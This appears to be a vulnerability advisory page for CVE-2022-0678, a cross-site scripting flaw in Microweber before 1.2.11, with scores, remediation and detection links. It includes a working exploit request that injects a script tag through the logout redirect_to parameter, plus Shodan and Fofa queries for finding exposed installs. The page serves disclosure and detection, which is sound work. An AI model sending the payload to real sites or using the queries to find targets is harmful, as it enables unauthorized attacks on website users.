🔙 목록으로 돌아가기

CVE-2022-0678: Microweber <1.2.11 - Cross-Site Scripting

TitleMicroweber <1.2.11 - Cross-Site Scripting
Authortess,co5mos
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade Microweber CMS to version 1.2.11 or later, which includes a fix for this vulnerability.
CVSS Score6.1
EPSS Score0.01223
CVE IDCVE-2022-0678
CWE IDCWE-79
Shodan Queryhttp.favicon.hash:780351152http.html:"microweber"
Fofa Querybody="microweber"icon_hash=780351152
Tags cve cve2022 huntr xss microweber vuln

🔍 Vulnerability Description

Packagist prior to 1.2.11 contains a cross-site scripting vulnerability via microweber/microweber. User can escape the meta tag because the user doesn’t escape the double-quote in the $redirectUrl parameter when logging out.

🌐 HTTP Request

GET /demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0678.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0678.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A